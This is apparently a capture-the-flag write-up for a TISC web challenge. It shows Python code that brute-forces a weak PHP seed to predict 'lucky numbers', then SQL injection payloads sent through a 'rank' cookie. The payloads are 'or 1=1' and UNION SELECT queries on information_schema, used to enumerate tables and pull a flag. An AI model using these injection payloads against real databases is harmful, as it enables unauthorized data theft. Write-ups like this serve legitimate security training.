Skip to content

Level 6A: The chosen ones (Web)

This level is a pretty standard web challenge.

We are presented with a webpage with a form that requires us to enter a number. Upon entering a number the webpage tells us what the expected number should have been. It seems that we need to find a way to predict the lucky number.

The challenge webpage contains a Base32 string in a HTML comment that decodes to the following PHP code (beautified):

php
function random(){
    $prev = $_SESSION["seed"];
    $current = (int)$prev ^ 844742906; 
    $current = decbin($current);
    while(strlen($current)<32) {
    	$current = "0".$current;
    }
    $first = substr($current,0,7);
    $second = substr($current,7,25);
    $current = $second.$first;
    $current = bindec($current);
    $_SESSION["seed"] = $current;
    return $current%1000000;
}

Here's a Python implementation:

py
def random(seed):
    while True:
        cur = seed ^ 844742906
        cur = bin(cur)[2:].zfill(32)
        first = cur[:7]
        second = cur[7:]
        cur = int(second + first, 2)
        seed = cur
        yield cur % 1000000

We know that the seed is a 32 bit integer (maximum value around a few billion) and we know the lower 6 digits of the state (out of 10). Therefore, we only need to bruteforce the other 4 digits to recover the original seed.

First, let's collect a few consecutive lucky numbers so we can validate the recovered seed:

627000, 710622, 371625

Now, we can bruteforce the 10 digit numbers ending with '627000' and check if they produce the same sequence observed:

python
def recover(seq):
    for i in range(pow(10,5)):
        rnd = random(i*1000000 + seq[0])
        if next(rnd) == seq[1] and next(rnd) == seq[2]:
            return i*1000000 + seq[0]

Now we can predict the next lucky number:

python
>>> recover([627000, 710622, 371625])
261627000
>>> rnd = random(261627000)
>>> next(rnd)             
710622
>>> next(rnd)            
371625
>>> next(rnd)            
597940

Entering '597940' allows us to access some kind of personnel list.

We also observe that the cookie rank=0 is set. If we modify rank to a larger value, more results are returned. However, changing it to a non-numeric value results in an internal server error.

Setting it to the SQL injection payload 1 or 1=1 results in all records being returned.

To enumerate tables within the database we use the payload

sql
-1 union select group_concat(table_name),null,null,null from information_schema.tables where table_schema=database()

This reveals the existence of the CTF_SECRET table.

Now to enumerate columns within that table:

sql
-1 union select group_concat(column_name),null,null,null from information_schema.columns where table_name = 'CTF_SECRET'

This reveals the existence of the flag column.

Now to finally retrieve the flag:

sql
-1 union select flag,null,null,null from CTF_SECRET

The flag is TISC{Y0u_4rE_7h3_CH0s3n_0nE}.